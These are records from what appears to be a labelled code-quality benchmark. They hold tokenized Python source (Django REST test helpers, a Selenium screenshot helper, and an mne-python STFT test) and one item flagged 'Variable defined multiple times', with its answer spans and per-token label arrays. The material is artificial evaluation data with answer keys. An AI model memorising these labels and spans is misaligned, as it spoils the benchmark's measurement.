"Respons",
"e",
" ",
"status",
" ",
"({",
"0",
"})",
" ",
"was",
" ",
"{",
"1",
"}",
" ",
"inst",
"ead",
" ",
"of",
" ",
"200",
"\"_",
"._",
"format_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"msg_",
",_",
"response_",
"._",
"status",
"\\u",
"code_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"result_",
"=_",
"json_",
"._",
"loads_",
"(_",
"response_",
"._",
"content_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"Value",
"Error_",
"as_",
"e_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"raise_",
"Exception_",
"(_",
"\"{",
"0",
"}",
" ",
"in",
" ",
"{",
"1",
"}\"_",
"._",
"format_",
"(_",
"e_",
",_",
"response_",
"._",
"content_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"expected",
"\\u",
"keys_",
"is_",
"not_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"set_",
"(_",
"result_",
"._",
"keys_",
"(_",
")_",
")_",
"!=_",
"set_",
"(_",
"expected",
"\\u",
"keys_",
"._",
"split_",
"(_",
")_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"raise_",
"Exception_",
"(_",
"\"'{",
"0",
"}'",
" ",
"!=",
" ",
"'{",
"1",
"}'\"_",
"._",
"format_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
" ",
"'_",
"._",
"join_",
"(_",
"list_",
"(_",
"result_",
"._",
"keys_",
"(_",
")_",
")_",
")_",
",_",
"expected",
"\\u",
"keys_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"result_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"demo",
"\\u",
"get_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"username_",
",_",
"url",
"\\u",
"base_",
",_",
"json",
"\\u",
"fields_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"expected",
"\\u",
"rows_",
"=_",
"None_",
",_",
"**_",
"kwargs_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"from_",
"django_",
"._",
"conf_",
"import_",
"settings_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"case_",
"=_",
"Http",
"Query_",
"(_",
"username_",
",_",
"url",
"\\u",
"base_",
",_",
"json",
"\\u",
"fields_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"expected",
"\\u",
"rows_",
",_",
"kwargs_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Dj",
"ang",
"o",
" ",
"test",
" ",
"client",
" ",
"doe",
"s",
" ",
"not",
" ",
"like",
" ",
"future",
" ",
"pseudo",
"-",
"unicode",
" ",
"strings_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"See",
" ",
"#",
"870",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"url_",
"=_",
"str_",
"(_",
"settings_",
"._",
"SITE",
"_",
"._",
"build",
"url_",
"(_",
"case_",
"._",
"url",
"\\u",
"base_",
",_",
"**_",
"case_",
"._",
"kwargs_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"print",
"(",
"20160",
"329",
",",
" ",
"url",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"True_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"msg_",
"=_",
"'",
"Us",
"ing",
" ",
"remote",
" ",
"authenticat",
"ion",
",",
" ",
"but",
" ",
"no",
" ",
"user",
" ",
"cred",
"ential",
"s",
" ",
"found",
".'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"response_",
"=_",
"self_",
"._",
"client_",
"._",
"get_",
"(_",
"url_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"raise_",
"Exception_",
"(_",
"\"",
"Expect",
"ed",
" ",
"'%",
"s",
"'\"_",
"%_",
"msg_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"Exception_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"pass_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
"~",
" ",
"self",
".",
"tc",
".",
"assert",
"Equal",
"(",
"str",
"(",
"e",
"),",
"msg",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"~",
" ",
"if",
" ",
"str",
"(",
"e",
")",
" ",
"!=",
" ",
"msg",
":_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"~",
" ",
"raise",
" ",
"Except",
"ion",
"(\"",
"Expect",
"ed",
" ",
"%",
"r",
" ",
"but",
" ",
"got",
" ",
"%",
"r",
"\"",
" ",
"%",
" ",
"(",
"msg",
",",
"str",
"(",
"e",
")))",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"response_",
"=_",
"test\\u",
"client_",
"._",
"get_",
"(_",
"url_",
",_",
"REMO",
"TE",
"\\u",
"USER_",
"=_",
"str_",
"(_",
"'",
"foo",
"'_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"response_",
"._",
"status",
"\\u",
"code_",
"!=_",
"403_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"raise_",
"Exception_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"",
"Status",
" ",
"code",
" ",
"%",
"s",
" ",
"other",
" ",
"than",
" ",
"403",
" ",
"for",
" ",
"anonym",
"ous",
" ",
"on",
" ",
"GET",
" ",
"%",
"s",
"\"_",
"%_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"response_",
"._",
"status",
"\\u",
"code_",
",_",
"url_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"response_",
"=_",
"test\\u",
"client_",
"._",
"get_",
"(_",
"url_",
",_",
"REMO",
"TE",
"\\u",
"USER_",
"=_",
"str_",
"(_",
"case_",
"._",
"username_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"try",
":_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"True_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"user_",
"=_",
"settings_",
"._",
"SITE",
"_",
"._",
"user",
"\\u",
"model_",
"._",
"objects_",
"._",
"get_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"username_",
"=_",
"case_",
"._",
"username_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"result_",
"=_",
"check",
"\\u",
"json",
"\\u",
"result_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"response_",
",_",
"case_",
"._",
"json",
"\\u",
"fields_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"",
"GET",
" ",
"%",
"s",
" ",
"for",
" ",
"user",
" ",
"%",
"s",
"\"_",
"%_",
"(_",
"url_",
",_",
"user_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"num_",
"=_",
"case_",
"._",
"expected",
"\\u",
"rows_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"num_",
"is_",
"not_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"not_",
"isinstance_",
"(_",
"num_",
",_",
"tuple_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"num_",
"=_",
"[_",
"num_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"result_",
"[_",
"'",
"count",
"'_",
"]_",
"not_",
"in_",
"num_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"msg_",
"=_",
"\"%",
"s",
" ",
"got",
" ",
"%",
"s",
" ",
"rows",
" ",
"inst",
"ead",
" ",
"of",
" ",
"%",
"s",
"\"_",
"%_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"url_",
",_",
"result_",
"[_",
"'",
"count",
"'_",
"]_",
",_",
"num_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"raise_",
"Exception_",
"(_",
"msg_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"except",
" ",
"Except",
"ion",
" ",
"as",
" ",
"e",
":_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"print",
"(\"",
"%",
"s",
":\\\\",
"n",
"%",
"s",
"\"",
" ",
"%",
" ",
"(",
"url",
",",
" ",
"e",
"))",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"raise_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"screenshot_",
"(_",
"obj_",
",_",
"filename_",
",_",
"rst",
"name_",
",_",
"username_",
"=_",
"'",
"robi",
"n",
"'_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"Insert",
" ",
"a",
" ",
"screenshot",
" ",
"of",
" ",
"the",
" ",
"deta",
"il",
" ",
"window",
" ",
"for",
" ",
"the",
" ",
"give",
"n",
" ",
"databa",
"se",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"object",
".",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Us",
"age",
" ",
"example",
" ",
"in",
" ",
"the",
" ",
"source",
" ",
"code",
" ",
"of",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"http",
"://",
"xl",
".",
"lino",
"-",
"frame",
"work",
".",
"org",
"/",
"spec",
"s",
"/",
"holiday",
"s",
".",
"html",
".",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Problems",
":",
" ",
"doe",
"sn",
"'",
"t",
" ",
"see",
"m",
" ",
"to",
" ",
"wait",
" ",
"long",
" ",
"eno",
"ugh",
" ",
"and",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"there",
"fore",
" ",
"produce",
"s",
" ",
"a",
" ",
"white",
" ",
".",
"png",
" ",
"file",
".",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Ho",
"w",
" ",
"to",
" ",
"speci",
"fy",
" ",
"the",
" ",
"filename",
"?",
" ",
"the",
" ",
"current",
" ",
"director",
"y",
" ",
"whe",
"n",
" ",
"docte",
"st",
" ",
"is",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"runn",
"ing",
" ",
"is",
" ",
"normal",
"ly",
" ",
"the",
" ",
"project",
" ",
"root",
",",
" ",
"but",
" ",
"tha",
"t",
"'",
"s",
" ",
"not",
" ",
"sure",
".",
" ",
"Bes",
"t",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"place",
" ",
"wou",
"ld",
" ",
"be",
" ",
"the",
" ",
"same",
" ",
"director",
"y",
" ",
"as",
" ",
"the",
" ",
"rst",
" ",
"file",
",",
" ",
"but",
" ",
"how",
" ",
"to",
" ",
"know",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"tha",
"t",
" ",
"name",
" ",
"from",
" ",
"within",
" ",
"a",
" ",
"tested",
" ",
"snippet",
"?",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"lino",
"_",
"._",
"api_",
"._",
"selenium_",
"import_",
"Album_",
",_",
"runs",
"erver_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"assert_",
"filename_",
"._",
"endswith_",
"(_",
"'.",
"png",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert_",
"rst",
"name_",
"._",
"endswith_",
"(_",
"'.",
"rst",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"=_",
"dd_",
"._",
"plugins_",
"._",
"ext",
"js_",
"._",
"renderer_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"uri_",
"=_",
"self_",
"._",
"get",
"\\u",
"deta",
"il",
"\\u",
"url_",
"(_",
"obj_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"ar",
" ",
"=",
" ",
"rt",
".",
"login",
"(",
"user",
"name",
",",
" ",
"render",
"er",
"=",
"self",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"h",
" ",
"=",
" ",
"self",
".",
"instance",
"\\u",
"handler",
"(",
"ar",
",",
" ",
"obj",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"uri",
" ",
"=",
" ",
"self",
".",
"js",
"2u",
"rl",
"(",
"h",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"print_",
"(_",
"uri_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"f_",
"(_",
"driver_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"app_",
"=_",
"Album_",
"(_",
"driver_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"driver_",
"._",
"get_",
"(_",
"\"",
"http",
"://",
"127",
".0",
".0",
".1",
":",
"800",
"0",
"\"_",
"+_",
"uri_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"driver",
".",
"get",
"(",
"uri",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"app_",
"._",
"stab",
"iliz",
"e_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"not_",
"driver_",
"._",
"get",
"\\u",
"screenshot",
"\\u",
"as",
"\\u",
"file_",
"(_",
"filename_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"app_",
"._",
"error_",
"(_",
"\"",
"Fail",
"ed",
" ",
"to",
" ",
"create",
" ",
"{",
"0",
"}\"_",
"._",
"format_",
"(_",
"filename_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\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2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Variable defined multiple times | mne-tools/mne-python/mne/time_frequency/tests/test_stft.py | [
{
"content": "def test_stft():\n \"Test stft and istft tight frame property\"\n sfreq = 1000. # Hz\n f = 7. # Hz\n for T in [253, 256]: # try with even and odd numbers\n # Test with low frequency signal\n t = np.arange(T).astype(np.float)\n x = np.sin(2 * np.pi * f * t / sfreq)\n x = np.array([x, x + 1.])\n wsize = 128\n tstep = 4\n X = stft(x, wsize, tstep)\n xp = istft(X, tstep, Tx=T)\n\n freqs = stftfreq(wsize, sfreq=1000)\n\n max_freq = freqs[np.argmax(np.sum(np.abs(X[0]) ** 2, axis=1))]\n\n assert_true(X.shape[1] == len(freqs))\n assert_true(np.all(freqs >= 0.))\n assert_true(np.abs(max_freq - f) < 1.)\n assert_array_almost_equal(x, xp, decimal=6)\n\n # norm conservation thanks to tight frame property\n assert_almost_equal(np.sqrt(stft_norm2(X)),\n [linalg.norm(xx) for xx in x], decimal=6)\n\n # Test with random signal\n x = np.random.randn(2, T)\n wsize = 16\n tstep = 8\n X = stft(x, wsize, tstep)\n xp = istft(X, tstep, Tx=T)\n\n freqs = stftfreq(wsize, sfreq=1000)\n\n max_freq = freqs[np.argmax(np.sum(np.abs(X[0]) ** 2, axis=1))]\n\n assert_true(X.shape[1] == len(freqs))\n assert_true(np.all(freqs >= 0.))\n assert_array_almost_equal(x, xp, decimal=6)\n\n # norm conservation thanks to tight frame property\n assert_almost_equal(np.sqrt(stft_norm2(X)),\n [linalg.norm(xx) for xx in x],\n decimal=6)\n\n # Try with empty array\n x = np.zeros((0, T))\n X = stft(x, wsize, tstep)\n xp = istft(X, tstep, T)\n assert_true(xp.shape == x.shape)",
"metadata": "root.test_stft",
"header": "['module', '___EOS___']",
"index": 8
}
]
| [
{
"span": "max_freq ",
"start_line": 44,
"start_column": 8,
"end_line": 44,
"end_column": 16
}
]
| [
{
"span": "max_freq ",
"start_line": 24,
"start_column": 8,
"end_line": 24,
"end_column": 16
}
]
| 1 | true | [
"[CLS]_",
"Variable_",
"defined_",
"multiple_",
"times_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"test\\u",
"stf",
"t_",
"(_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"",
"Test",
" ",
"stf",
"t",
" ",
"and",
" ",
"ist",
"ft",
" ",
"tig",
"ht",
" ",
"frame",
" ",
"property",
"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"sfr",
"eq_",
"=_",
"1000._",
"#",
" ",
"Hz_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"f_",
"=_",
"7._",
"#",
" ",
"Hz_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"T_",
"in_",
"[_",
"253_",
",_",
"256_",
"]_",
":_",
"#",
" ",
"try",
" ",
"with",
" ",
"even",
" ",
"and",
" ",
"odd",
" ",
"numbers_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Test",
" ",
"with",
" ",
"low",
" ",
"freque",
"nc",
"y",
" ",
"signal_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"t_",
"=_",
"np_",
"._",
"arange_",
"(_",
"T_",
")_",
"._",
"astype_",
"(_",
"np_",
"._",
"float_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"x_",
"=_",
"np_",
"._",
"sin_",
"(_",
"2_",
"*_",
"np_",
"._",
"pi_",
"*_",
"f_",
"*_",
"t_",
"/_",
"sfr",
"eq_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"x_",
"=_",
"np_",
"._",
"array_",
"(_",
"[_",
"x_",
",_",
"x_",
"+_",
"1._",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"ws",
"ize_",
"=_",
"128_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"tst",
"ep_",
"=_",
"4_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"X_",
"=_",
"stf",
"t_",
"(_",
"x_",
",_",
"ws",
"ize_",
",_",
"tst",
"ep_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"xp_",
"=_",
"ist",
"ft_",
"(_",
"X_",
",_",
"tst",
"ep_",
",_",
"Tx_",
"=_",
"T_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"freqs_",
"=_",
"stf",
"tfre",
"q_",
"(_",
"ws",
"ize_",
",_",
"sfr",
"eq_",
"=_",
"1000_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"max",
"\\u",
"freq_",
"=_",
"freqs_",
"[_",
"np_",
"._",
"argmax_",
"(_",
"np_",
"._",
"sum_",
"(_",
"np_",
"._",
"abs_",
"(_",
"X_",
"[_",
"0_",
"]_",
")_",
"**_",
"2_",
",_",
"axis_",
"=_",
"1_",
")_",
")_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"assert",
"\\u",
"true_",
"(_",
"X_",
"._",
"shape_",
"[_",
"1_",
"]_",
"==_",
"len_",
"(_",
"freqs_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert",
"\\u",
"true_",
"(_",
"np_",
"._",
"all_",
"(_",
"freqs_",
">=_",
"0._",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert",
"\\u",
"true_",
"(_",
"np_",
"._",
"abs_",
"(_",
"max",
"\\u",
"freq_",
"-_",
"f_",
")_",
"<_",
"1._",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert",
"\\u",
"array",
"\\u",
"alm",
"ost",
"\\u",
"equal_",
"(_",
"x_",
",_",
"xp_",
",_",
"decimal_",
"=_",
"6_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"norm",
" ",
"conserv",
"ation",
" ",
"thanks",
" ",
"to",
" ",
"tig",
"ht",
" ",
"frame",
" ",
"property_",
"\\u\\u\\uNL\\u\\u\\u_",
"assert",
"\\u",
"alm",
"ost",
"\\u",
"equal_",
"(_",
"np_",
"._",
"sqrt_",
"(_",
"stf",
"t",
"\\u",
"norm",
"2_",
"(_",
"X_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"[_",
"linalg_",
"._",
"norm_",
"(_",
"xx_",
")_",
"for_",
"xx_",
"in_",
"x_",
"]_",
",_",
"decimal_",
"=_",
"6_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Test",
" ",
"with",
" ",
"random",
" ",
"signal_",
"\\u\\u\\uNL\\u\\u\\u_",
"x_",
"=_",
"np_",
"._",
"random_",
"._",
"randn_",
"(_",
"2_",
",_",
"T_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"ws",
"ize_",
"=_",
"16_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"tst",
"ep_",
"=_",
"8_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"X_",
"=_",
"stf",
"t_",
"(_",
"x_",
",_",
"ws",
"ize_",
",_",
"tst",
"ep_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"xp_",
"=_",
"ist",
"ft_",
"(_",
"X_",
",_",
"tst",
"ep_",
",_",
"Tx_",
"=_",
"T_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"freqs_",
"=_",
"stf",
"tfre",
"q_",
"(_",
"ws",
"ize_",
",_",
"sfr",
"eq_",
"=_",
"1000_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"max",
"\\u",
"freq_",
"=_",
"freqs_",
"[_",
"np_",
"._",
"argmax_",
"(_",
"np_",
"._",
"sum_",
"(_",
"np_",
"._",
"abs_",
"(_",
"X_",
"[_",
"0_",
"]_",
")_",
"**_",
"2_",
",_",
"axis_",
"=_",
"1_",
")_",
")_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"assert",
"\\u",
"true_",
"(_",
"X_",
"._",
"shape_",
"[_",
"1_",
"]_",
"==_",
"len_",
"(_",
"freqs_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert",
"\\u",
"true_",
"(_",
"np_",
"._",
"all_",
"(_",
"freqs_",
">=_",
"0._",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert",
"\\u",
"array",
"\\u",
"alm",
"ost",
"\\u",
"equal_",
"(_",
"x_",
",_",
"xp_",
",_",
"decimal_",
"=_",
"6_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"norm",
" ",
"conserv",
"ation",
" ",
"thanks",
" ",
"to",
" ",
"tig",
"ht",
" ",
"frame",
" ",
"property_",
"\\u\\u\\uNL\\u\\u\\u_",
"assert",
"\\u",
"alm",
"ost",
"\\u",
"equal_",
"(_",
"np_",
"._",
"sqrt_",
"(_",
"stf",
"t",
"\\u",
"norm",
"2_",
"(_",
"X_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"[_",
"linalg_",
"._",
"norm_",
"(_",
"xx_",
")_",
"for_",
"xx_",
"in_",
"x_",
"]_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"decimal_",
"=_",
"6_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Tr",
"y",
" ",
"with",
" ",
"empty",
" ",
"array_",
"\\u\\u\\uNL\\u\\u\\u_",
"x_",
"=_",
"np_",
"._",
"zeros_",
"(_",
"(_",
"0_",
",_",
"T_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"X_",
"=_",
"stf",
"t_",
"(_",
"x_",
",_",
"ws",
"ize_",
",_",
"tst",
"ep_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"xp_",
"=_",
"ist",
"ft_",
"(_",
"X_",
",_",
"tst",
"ep_",
",_",
"T_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert",
"\\u",
"true_",
"(_",
"xp_",
"._",
"shape_",
"==_",
"x_",
"._",
"shape_",
")_"
]
| [
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2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
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
